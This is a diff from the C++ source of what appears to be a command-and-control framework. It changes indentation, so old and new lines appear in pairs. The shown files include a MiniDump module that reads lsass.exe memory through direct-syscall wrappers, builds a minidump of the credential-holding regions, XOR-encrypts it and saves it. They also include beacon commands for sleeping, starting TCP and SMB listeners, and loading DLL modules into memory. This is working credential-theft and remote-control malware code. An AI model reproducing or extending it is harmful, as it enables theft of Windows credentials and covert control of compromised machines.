// TODO NtQueryVirtualMemory
|
||||
// if (VirtualQueryEx(lsassHandle, address, &mbi, sizeof(mbi)) == sizeof(mbi))
|
||||
SIZE_T returnLength;
|
||||
if (!Sw3NtQueryVirtualMemory_(lsassHandle, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength))
|
||||
{
|
||||
if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
|
||||
{
|
||||
mem64info_List.emplace_back(mbi.BaseAddress, mbi.RegionSize);
|
||||
|
||||
char* buffer = new char[mbi.RegionSize];
|
||||
SIZE_T bytesRead;
|
||||
// TODO NtReadVirtualMemory
|
||||
// ReadProcessMemory(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
|
||||
Sw3NtReadVirtualMemory_(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
|
||||
memory_regions.append(buffer, mbi.RegionSize);
|
||||
delete buffer;
|
||||
char* buffer = new char[mbi.RegionSize];
|
||||
SIZE_T bytesRead;
|
||||
// TODO NtReadVirtualMemory
|
||||
// ReadProcessMemory(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
|
||||
Sw3NtReadVirtualMemory_(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead);
|
||||
memory_regions.append(buffer, mbi.RegionSize);
|
||||
delete buffer;
|
||||
|
||||
// append_binary_data(filename, buffer);
|
||||
// append_binary_data(filename, buffer);
|
||||
|
||||
// Calculate size of lsasrv.dll region
|
||||
if (mbi.BaseAddress == lsasrvdll_address)
|
||||
{
|
||||
bool_test = true;
|
||||
}
|
||||
if (bool_test == true)
|
||||
{
|
||||
if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address)
|
||||
{
|
||||
bool_test = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
lsasrvdll_size += (int)mbi.RegionSize;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
address += mbi.RegionSize;
|
||||
}
|
||||
// Calculate size of lsasrv.dll region
|
||||
if (mbi.BaseAddress == lsasrvdll_address)
|
||||
{
|
||||
bool_test = true;
|
||||
}
|
||||
if (bool_test == true)
|
||||
{
|
||||
if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address)
|
||||
{
|
||||
bool_test = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
lsasrvdll_size += (int)mbi.RegionSize;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
address += mbi.RegionSize;
|
||||
}
|
||||
|
||||
CloseHandle(lsassHandle);
|
||||
CloseHandle(lsassHandle);
|
||||
|
||||
std::string dumpfile;
|
||||
CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile);
|
||||
std::string dumpfile;
|
||||
CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile);
|
||||
|
||||
XOR(dumpfile, xorKey);
|
||||
XOR(dumpfile, xorKey);
|
||||
|
||||
// Save to file
|
||||
std::string dmpFileName = c2Message.outputfile();
|
||||
bool writeOk = WriteStringToFile(dmpFileName, dumpfile);
|
||||
if(!writeOk)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE);
|
||||
return -1;
|
||||
}
|
||||
// Save to file
|
||||
std::string dmpFileName = c2Message.outputfile();
|
||||
bool writeOk = WriteStringToFile(dmpFileName, dumpfile);
|
||||
if(!writeOk)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
return 0;
|
||||
}
|
||||
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int MiniDump::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==LSASS_PID_NOT_FOUND)
|
||||
errorMsg = "lsass.exe PID not found.";
|
||||
else if(errorCode==ERROR_SETDEBUG)
|
||||
errorMsg = "setDebugPrivilege failed.";
|
||||
else if(errorCode==ERROR_OPEN_PROCESS)
|
||||
errorMsg = "OpenProcess failed.";
|
||||
else if(errorCode==ERROR_GET_REMOTE_HANDLE)
|
||||
errorMsg = "GetRemoteModuleHandle failed.";
|
||||
else if(errorCode==ERROR_WRITE_OUTPUT_FILE)
|
||||
errorMsg = "Write output file failed.";
|
||||
else
|
||||
errorMsg = "Unknown error";
|
||||
|
||||
}
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==LSASS_PID_NOT_FOUND)
|
||||
errorMsg = "lsass.exe PID not found.";
|
||||
else if(errorCode==ERROR_SETDEBUG)
|
||||
errorMsg = "setDebugPrivilege failed.";
|
||||
else if(errorCode==ERROR_OPEN_PROCESS)
|
||||
errorMsg = "OpenProcess failed.";
|
||||
else if(errorCode==ERROR_GET_REMOTE_HANDLE)
|
||||
errorMsg = "GetRemoteModuleHandle failed.";
|
||||
else if(errorCode==ERROR_WRITE_OUTPUT_FILE)
|
||||
errorMsg = "Write output file failed.";
|
||||
else
|
||||
errorMsg = "Unknown error";
|
||||
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
@@ -7,21 +7,21 @@
|
||||
class MiniDump : public ModuleCmd
|
||||
{
|
||||
public:
|
||||
MiniDump();
|
||||
~MiniDump();
|
||||
MiniDump();
|
||||
~MiniDump();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
|
||||
|
||||
};
|
||||
|
||||
|
||||
|
||||
+537
-537
File diff suppressed because it is too large
Load Diff
@@ -162,15 +162,15 @@ inline constexpr std::array<char, N> compileTimeXOR(const std::string_view data,
|
||||
|
||||
void static inline XOR(std::string& data, const std::string& key)
|
||||
{
|
||||
int j = 0;
|
||||
for (int i = 0; i < data.size(); i++)
|
||||
{
|
||||
if (j == key.size())
|
||||
j = 0;
|
||||
int j = 0;
|
||||
for (int i = 0; i < data.size(); i++)
|
||||
{
|
||||
if (j == key.size())
|
||||
j = 0;
|
||||
|
||||
data[i] = data[i] ^ key[j];
|
||||
j++;
|
||||
}
|
||||
data[i] = data[i] ^ key[j];
|
||||
j++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -194,24 +194,24 @@ std::string static inline random_string(std::size_t length)
|
||||
|
||||
bool static inline isNumber(const std::string& str)
|
||||
{
|
||||
for (char const& c : str) {
|
||||
if (std::isdigit(c) == 0) return false;
|
||||
}
|
||||
return true;
|
||||
for (char const& c : str) {
|
||||
if (std::isdigit(c) == 0) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void static inline splitList(std::string list, const std::string& delimiter, std::vector<std::string>& splitedList)
|
||||
{
|
||||
size_t pos = 0;
|
||||
std::string token;
|
||||
while ((pos = list.find(delimiter)) != std::string::npos)
|
||||
{
|
||||
token = list.substr(0, pos);
|
||||
splitedList.push_back(token);
|
||||
list.erase(0, pos + delimiter.length());
|
||||
}
|
||||
splitedList.push_back(list);
|
||||
size_t pos = 0;
|
||||
std::string token;
|
||||
while ((pos = list.find(delimiter)) != std::string::npos)
|
||||
{
|
||||
token = list.substr(0, pos);
|
||||
splitedList.push_back(token);
|
||||
list.erase(0, pos + delimiter.length());
|
||||
}
|
||||
splitedList.push_back(list);
|
||||
}
|
||||
|
||||
|
||||
|
||||
+302
-302
@@ -60,333 +60,333 @@ const std::string StopInstruction = "stop";
|
||||
|
||||
class CommonCommands
|
||||
{
|
||||
public:
|
||||
CommonCommands()
|
||||
{
|
||||
m_commonCommands.push_back(EndInstruction);
|
||||
m_commonCommands.push_back(ListenerInstruction);
|
||||
m_commonCommands.push_back(LoadModuleInstruction);
|
||||
m_commonCommands.push_back(UnloadModuleInstruction);
|
||||
m_commonCommands.push_back(SleepInstruction);
|
||||
}
|
||||
public:
|
||||
CommonCommands()
|
||||
{
|
||||
m_commonCommands.push_back(EndInstruction);
|
||||
m_commonCommands.push_back(ListenerInstruction);
|
||||
m_commonCommands.push_back(LoadModuleInstruction);
|
||||
m_commonCommands.push_back(UnloadModuleInstruction);
|
||||
m_commonCommands.push_back(SleepInstruction);
|
||||
}
|
||||
|
||||
int getNumberOfCommand()
|
||||
{
|
||||
return m_commonCommands.size();
|
||||
}
|
||||
int getNumberOfCommand()
|
||||
{
|
||||
return m_commonCommands.size();
|
||||
}
|
||||
|
||||
std::string getCommand(int idx)
|
||||
{
|
||||
if(idx<m_commonCommands.size())
|
||||
return m_commonCommands[idx];
|
||||
else
|
||||
return "";
|
||||
}
|
||||
std::string getCommand(int idx)
|
||||
{
|
||||
if(idx<m_commonCommands.size())
|
||||
return m_commonCommands[idx];
|
||||
else
|
||||
return "";
|
||||
}
|
||||
|
||||
std::string translateCmdToInstruction(const std::string& cmd)
|
||||
{
|
||||
std::string output;
|
||||
std::string translateCmdToInstruction(const std::string& cmd)
|
||||
{
|
||||
std::string output;
|
||||
|
||||
if(cmd==SleepCmd)
|
||||
return SleepInstruction;
|
||||
else if(cmd==EndCmd)
|
||||
return EndInstruction;
|
||||
else if(cmd==ListenerCmd)
|
||||
return ListenerInstruction;
|
||||
else if(cmd==LoadC2ModuleCmd)
|
||||
return LoadModuleInstruction;
|
||||
else if(cmd==UnloadC2ModuleCmd)
|
||||
return UnloadModuleInstruction;
|
||||
return "";
|
||||
}
|
||||
if(cmd==SleepCmd)
|
||||
return SleepInstruction;
|
||||
else if(cmd==EndCmd)
|
||||
return EndInstruction;
|
||||
else if(cmd==ListenerCmd)
|
||||
return ListenerInstruction;
|
||||
else if(cmd==LoadC2ModuleCmd)
|
||||
return LoadModuleInstruction;
|
||||
else if(cmd==UnloadC2ModuleCmd)
|
||||
return UnloadModuleInstruction;
|
||||
return "";
|
||||
}
|
||||
|
||||
std::string getHelp(std::string cmd)
|
||||
std::string getHelp(std::string cmd)
|
||||
{
|
||||
std::string output;
|
||||
std::string output;
|
||||
|
||||
if (cmd == SleepCmd)
|
||||
{
|
||||
output = "sleep:\n";
|
||||
output += " Set the sleep interval (in seconds) for the beacon.\n";
|
||||
output += " Example:\n";
|
||||
output += " - sleep 0.5\n";
|
||||
}
|
||||
else if (cmd == EndCmd)
|
||||
{
|
||||
output = "end:\n";
|
||||
output += " Terminates the beacon process.\n";
|
||||
output += " Example:\n";
|
||||
output += " - end\n";
|
||||
}
|
||||
else if (cmd == ListenerCmd)
|
||||
{
|
||||
output = "listener:\n";
|
||||
output += " Starts a TCP or SMB listener on the beacon.\n";
|
||||
output += " The IP or hostname given to the listener is only in case of dropper use, to know where to connect to. It will show in the GUI.\n";
|
||||
output += " Examples:\n";
|
||||
output += " - listener start tcp <IP> <port>\n";
|
||||
output += " - listener start tcp 10.2.4.8 4444\n";
|
||||
output += " - listener start smb <IP/hostname> <pipename>\n";
|
||||
output += " - listener start smb pipename\n";
|
||||
}
|
||||
else if (cmd == LoadC2ModuleCmd)
|
||||
{
|
||||
output = "loadModule:\n";
|
||||
output += " Loads a module DLL into the beacon's memory, extending its capabilities.\n";
|
||||
output += " Attempts to load from the specified path; if not found, falls back to the default '../Modules/' directory.\n";
|
||||
output += " Example:\n";
|
||||
output += " - loadModule assemblyexec\n";
|
||||
output += " - loadModule /tools/PrintWorkingDirectory.dll\n";
|
||||
}
|
||||
else if (cmd == UnloadC2ModuleCmd)
|
||||
{
|
||||
output = "unloadModule:\n";
|
||||
output += " Unloads a module DLL that was previously loaded via loadModule.\n";
|
||||
output += " Example:\n";
|
||||
output += " - unloadModule assemblyExec\n";
|
||||
}
|
||||
if (cmd == SleepCmd)
|
||||
{
|
||||
output = "sleep:\n";
|
||||
output += " Set the sleep interval (in seconds) for the beacon.\n";
|
||||
output += " Example:\n";
|
||||
output += " - sleep 0.5\n";
|
||||
}
|
||||
else if (cmd == EndCmd)
|
||||
{
|
||||
output = "end:\n";
|
||||
output += " Terminates the beacon process.\n";
|
||||
output += " Example:\n";
|
||||
output += " - end\n";
|
||||
}
|
||||
else if (cmd == ListenerCmd)
|
||||
{
|
||||
output = "listener:\n";
|
||||
output += " Starts a TCP or SMB listener on the beacon.\n";
|
||||
output += " The IP or hostname given to the listener is only in case of dropper use, to know where to connect to. It will show in the GUI.\n";
|
||||
output += " Examples:\n";
|
||||
output += " - listener start tcp <IP> <port>\n";
|
||||
output += " - listener start tcp 10.2.4.8 4444\n";
|
||||
output += " - listener start smb <IP/hostname> <pipename>\n";
|
||||
output += " - listener start smb pipename\n";
|
||||
}
|
||||
else if (cmd == LoadC2ModuleCmd)
|
||||
{
|
||||
output = "loadModule:\n";
|
||||
output += " Loads a module DLL into the beacon's memory, extending its capabilities.\n";
|
||||
output += " Attempts to load from the specified path; if not found, falls back to the default '../Modules/' directory.\n";
|
||||
output += " Example:\n";
|
||||
output += " - loadModule assemblyexec\n";
|
||||
output += " - loadModule /tools/PrintWorkingDirectory.dll\n";
|
||||
}
|
||||
else if (cmd == UnloadC2ModuleCmd)
|
||||
{
|
||||
output = "unloadModule:\n";
|
||||
output += " Unloads a module DLL that was previously loaded via loadModule.\n";
|
||||
output += " Example:\n";
|
||||
output += " - unloadModule assemblyExec\n";
|
||||
}
|
||||
|
||||
return output;
|
||||
return output;
|
||||
}
|
||||
|
||||
|
||||
// if an error ocurre:
|
||||
// set_returnvalue(errorMsg) && return -1
|
||||
int init(std::vector<std::string> &splitedCmd, C2Message &c2Message, bool isWindows=true)
|
||||
{
|
||||
std::string instruction = splitedCmd[0];
|
||||
// if an error ocurre:
|
||||
// set_returnvalue(errorMsg) && return -1
|
||||
int init(std::vector<std::string> &splitedCmd, C2Message &c2Message, bool isWindows=true)
|
||||
{
|
||||
std::string instruction = splitedCmd[0];
|
||||
|
||||
//
|
||||
// Sleep
|
||||
//
|
||||
if(instruction==SleepInstruction)
|
||||
{
|
||||
if(splitedCmd.size()==2)
|
||||
{
|
||||
float sleepTimeSec=5;
|
||||
try
|
||||
{
|
||||
sleepTimeSec = atof(splitedCmd[1].c_str());
|
||||
}
|
||||
catch (const std::invalid_argument& ia)
|
||||
{
|
||||
std::cerr << "Invalid argument: " << ia.what() << '\n';
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_instruction(SleepCmd);
|
||||
c2Message.set_cmd(std::to_string(sleepTimeSec));
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = getHelp(SleepCmd);
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
//
|
||||
// End
|
||||
//
|
||||
else if(instruction==EndInstruction)
|
||||
{
|
||||
c2Message.set_instruction(EndCmd);
|
||||
c2Message.set_cmd("");
|
||||
}
|
||||
//
|
||||
// Listener
|
||||
//
|
||||
else if(instruction==ListenerInstruction)
|
||||
{
|
||||
if(splitedCmd.size()>=3)
|
||||
{
|
||||
if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerTcpType)
|
||||
{
|
||||
if(splitedCmd.size()>=5)
|
||||
{
|
||||
std::string host = splitedCmd[3];
|
||||
int port=-1;
|
||||
try
|
||||
{
|
||||
port = std::atoi(splitedCmd[4].c_str());
|
||||
}
|
||||
catch (const std::invalid_argument& ia)
|
||||
{
|
||||
std::cerr << "Invalid argument: " << ia.what() << '\n';
|
||||
return -1;
|
||||
}
|
||||
//
|
||||
// Sleep
|
||||
//
|
||||
if(instruction==SleepInstruction)
|
||||
{
|
||||
if(splitedCmd.size()==2)
|
||||
{
|
||||
float sleepTimeSec=5;
|
||||
try
|
||||
{
|
||||
sleepTimeSec = atof(splitedCmd[1].c_str());
|
||||
}
|
||||
catch (const std::invalid_argument& ia)
|
||||
{
|
||||
std::cerr << "Invalid argument: " << ia.what() << '\n';
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_instruction(SleepCmd);
|
||||
c2Message.set_cmd(std::to_string(sleepTimeSec));
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = getHelp(SleepCmd);
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
//
|
||||
// End
|
||||
//
|
||||
else if(instruction==EndInstruction)
|
||||
{
|
||||
c2Message.set_instruction(EndCmd);
|
||||
c2Message.set_cmd("");
|
||||
}
|
||||
//
|
||||
// Listener
|
||||
//
|
||||
else if(instruction==ListenerInstruction)
|
||||
{
|
||||
if(splitedCmd.size()>=3)
|
||||
{
|
||||
if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerTcpType)
|
||||
{
|
||||
if(splitedCmd.size()>=5)
|
||||
{
|
||||
std::string host = splitedCmd[3];
|
||||
int port=-1;
|
||||
try
|
||||
{
|
||||
port = std::atoi(splitedCmd[4].c_str());
|
||||
}
|
||||
catch (const std::invalid_argument& ia)
|
||||
{
|
||||
std::cerr << "Invalid argument: " << ia.what() << '\n';
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::string cmd = StartCmd;
|
||||
cmd+=" ";
|
||||
cmd+=ListenerTcpType;
|
||||
cmd+=" ";
|
||||
cmd+=host;
|
||||
cmd+=" ";
|
||||
cmd+=std::to_string(port);
|
||||
c2Message.set_instruction(ListenerCmd);
|
||||
c2Message.set_cmd(cmd);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = "listener tcp start: not enough arguments";
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType)
|
||||
{
|
||||
if(splitedCmd.size()==5)
|
||||
{
|
||||
std::string host = splitedCmd[3];
|
||||
std::string pipeName = splitedCmd[4];
|
||||
std::string cmd = StartCmd;
|
||||
cmd+=" ";
|
||||
cmd+=ListenerSmbType;
|
||||
cmd+=" ";
|
||||
cmd+=host;
|
||||
cmd+=" ";
|
||||
cmd+=pipeName;
|
||||
c2Message.set_instruction(ListenerCmd);
|
||||
c2Message.set_cmd(cmd);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = "listener smb start: not enough arguments";
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]==StopInstruction)
|
||||
{
|
||||
std::string hash = splitedCmd[2];
|
||||
std::string cmd = StopCmd;
|
||||
cmd+=" ";
|
||||
cmd+=hash;
|
||||
c2Message.set_instruction(ListenerCmd);
|
||||
c2Message.set_cmd(cmd);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = getHelp(ListenerCmd);
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
//
|
||||
// Load Memory Module
|
||||
//
|
||||
else if(instruction==LoadModuleInstruction)
|
||||
{
|
||||
if (splitedCmd.size() == 2)
|
||||
{
|
||||
std::string inputFile = splitedCmd[1];
|
||||
std::string cmd = StartCmd;
|
||||
cmd+=" ";
|
||||
cmd+=ListenerTcpType;
|
||||
cmd+=" ";
|
||||
cmd+=host;
|
||||
cmd+=" ";
|
||||
cmd+=std::to_string(port);
|
||||
c2Message.set_instruction(ListenerCmd);
|
||||
c2Message.set_cmd(cmd);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = "listener tcp start: not enough arguments";
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType)
|
||||
{
|
||||
if(splitedCmd.size()==5)
|
||||
{
|
||||
std::string host = splitedCmd[3];
|
||||
std::string pipeName = splitedCmd[4];
|
||||
std::string cmd = StartCmd;
|
||||
cmd+=" ";
|
||||
cmd+=ListenerSmbType;
|
||||
cmd+=" ";
|
||||
cmd+=host;
|
||||
cmd+=" ";
|
||||
cmd+=pipeName;
|
||||
c2Message.set_instruction(ListenerCmd);
|
||||
c2Message.set_cmd(cmd);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = "listener smb start: not enough arguments";
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]==StopInstruction)
|
||||
{
|
||||
std::string hash = splitedCmd[2];
|
||||
std::string cmd = StopCmd;
|
||||
cmd+=" ";
|
||||
cmd+=hash;
|
||||
c2Message.set_instruction(ListenerCmd);
|
||||
c2Message.set_cmd(cmd);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = getHelp(ListenerCmd);
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
//
|
||||
// Load Memory Module
|
||||
//
|
||||
else if(instruction==LoadModuleInstruction)
|
||||
{
|
||||
if (splitedCmd.size() == 2)
|
||||
{
|
||||
std::string inputFile = splitedCmd[1];
|
||||
|
||||
// check if it's a Path
|
||||
std::ifstream input;
|
||||
input.open(inputFile, std::ios::binary);
|
||||
// check if it's a Path
|
||||
std::ifstream input;
|
||||
input.open(inputFile, std::ios::binary);
|
||||
|
||||
// if not check if it's a filename present in the linux or windows directory
|
||||
if(!input && !isWindows)
|
||||
{
|
||||
std::string newInputFile = m_linuxModulesDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
input.open(newInputFile, std::ios::binary);
|
||||
}
|
||||
else if(!input && isWindows)
|
||||
{
|
||||
std::string newInputFile = m_windowsModulesDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
input.open(newInputFile, std::ios::binary);
|
||||
}
|
||||
// if not check if it's a filename present in the linux or windows directory
|
||||
if(!input && !isWindows)
|
||||
{
|
||||
std::string newInputFile = m_linuxModulesDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
input.open(newInputFile, std::ios::binary);
|
||||
}
|
||||
else if(!input && isWindows)
|
||||
{
|
||||
std::string newInputFile = m_windowsModulesDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
input.open(newInputFile, std::ios::binary);
|
||||
}
|
||||
|
||||
if( input )
|
||||
{
|
||||
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
||||
if( input )
|
||||
{
|
||||
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
||||
|
||||
c2Message.set_instruction(LoadC2ModuleCmd);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_data(buffer.data(), buffer.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue("Failed: Couldn't open file.");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = getHelp(LoadC2ModuleCmd);
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if(instruction==UnloadModuleInstruction)
|
||||
{
|
||||
if (splitedCmd.size() == 2)
|
||||
{
|
||||
std::string moduleName = splitedCmd[1];
|
||||
c2Message.set_instruction(LoadC2ModuleCmd);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_data(buffer.data(), buffer.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue("Failed: Couldn't open file.");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = getHelp(LoadC2ModuleCmd);
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if(instruction==UnloadModuleInstruction)
|
||||
{
|
||||
if (splitedCmd.size() == 2)
|
||||
{
|
||||
std::string moduleName = splitedCmd[1];
|
||||
|
||||
c2Message.set_instruction(UnloadC2ModuleCmd);
|
||||
c2Message.set_cmd(moduleName);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = getHelp(UnloadC2ModuleCmd);
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
c2Message.set_instruction(UnloadC2ModuleCmd);
|
||||
c2Message.set_cmd(moduleName);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = getHelp(UnloadC2ModuleCmd);
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
{
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_GENERIC)
|
||||
errorMsg = "Error";
|
||||
else if(errorCode==ERROR_LISTENER_EXIST)
|
||||
errorMsg = "Error: Listener already exist";
|
||||
else if(errorCode==ERROR_PORT_FORMAT)
|
||||
errorMsg = "Error: Port format";
|
||||
else if(errorCode==ERROR_HASH_NOT_FOUND)
|
||||
errorMsg = "Error: Hash not found";
|
||||
else if(errorCode==ERROR_LOAD_LIBRARY)
|
||||
errorMsg = "Error: MemoryLoadLibrary";
|
||||
else if(errorCode==ERROR_GET_PROC_ADDRESS)
|
||||
errorMsg = "Error: MemoryGetProcAddress";
|
||||
else if(errorCode==ERROR_MODULE_NOT_FOUND)
|
||||
errorMsg = "Error: Module not found";
|
||||
else if(errorCode==ERROR_MODULE_ALREADY_LOADED)
|
||||
errorMsg = "Error: Module already loaded";
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
{
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_GENERIC)
|
||||
errorMsg = "Error";
|
||||
else if(errorCode==ERROR_LISTENER_EXIST)
|
||||
errorMsg = "Error: Listener already exist";
|
||||
else if(errorCode==ERROR_PORT_FORMAT)
|
||||
errorMsg = "Error: Port format";
|
||||
else if(errorCode==ERROR_HASH_NOT_FOUND)
|
||||
errorMsg = "Error: Hash not found";
|
||||
else if(errorCode==ERROR_LOAD_LIBRARY)
|
||||
errorMsg = "Error: MemoryLoadLibrary";
|
||||
else if(errorCode==ERROR_GET_PROC_ADDRESS)
|
||||
errorMsg = "Error: MemoryGetProcAddress";
|
||||
else if(errorCode==ERROR_MODULE_NOT_FOUND)
|
||||
errorMsg = "Error: Module not found";
|
||||
else if(errorCode==ERROR_MODULE_ALREADY_LOADED)
|
||||
errorMsg = "Error: Module already loaded";
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int setDirectories( const std::string& teamServerModulesDirectoryPath,
|
||||
const std::string& linuxModulesDirectoryPath,
|
||||
const std::string& windowsModulesDirectoryPath,
|
||||
const std::string& linuxBeaconsDirectoryPath,
|
||||
const std::string& windowsBeaconsDirectoryPath,
|
||||
const std::string& toolsDirectoryPath,
|
||||
const std::string& scriptsDirectoryPath)
|
||||
{
|
||||
m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath;
|
||||
m_linuxModulesDirectoryPath=linuxModulesDirectoryPath;
|
||||
m_windowsModulesDirectoryPath=windowsModulesDirectoryPath;
|
||||
m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath;
|
||||
m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath;
|
||||
m_toolsDirectoryPath=toolsDirectoryPath;
|
||||
m_scriptsDirectoryPath=scriptsDirectoryPath;
|
||||
int setDirectories( const std::string& teamServerModulesDirectoryPath,
|
||||
const std::string& linuxModulesDirectoryPath,
|
||||
const std::string& windowsModulesDirectoryPath,
|
||||
const std::string& linuxBeaconsDirectoryPath,
|
||||
const std::string& windowsBeaconsDirectoryPath,
|
||||
const std::string& toolsDirectoryPath,
|
||||
const std::string& scriptsDirectoryPath)
|
||||
{
|
||||
m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath;
|
||||
m_linuxModulesDirectoryPath=linuxModulesDirectoryPath;
|
||||
m_windowsModulesDirectoryPath=windowsModulesDirectoryPath;
|
||||
m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath;
|
||||
m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath;
|
||||
m_toolsDirectoryPath=toolsDirectoryPath;
|
||||
m_scriptsDirectoryPath=scriptsDirectoryPath;
|
||||
|
||||
return 0;
|
||||
};
|
||||
return 0;
|
||||
};
|
||||
|
||||
private:
|
||||
std::vector<std::string> m_commonCommands;
|
||||
std::vector<std::string> m_commonCommands;
|
||||
|
||||
std::string m_teamServerModulesDirectoryPath;
|
||||
std::string m_teamServerModulesDirectoryPath;
|
||||
std::string m_linuxModulesDirectoryPath;
|
||||
std::string m_windowsModulesDirectoryPath;
|
||||
std::string m_linuxBeaconsDirectoryPath;
|
||||
|
||||
@@ -25,65 +25,65 @@ enum OSCompatibility {
|
||||
//
|
||||
class ModuleCmd
|
||||
{
|
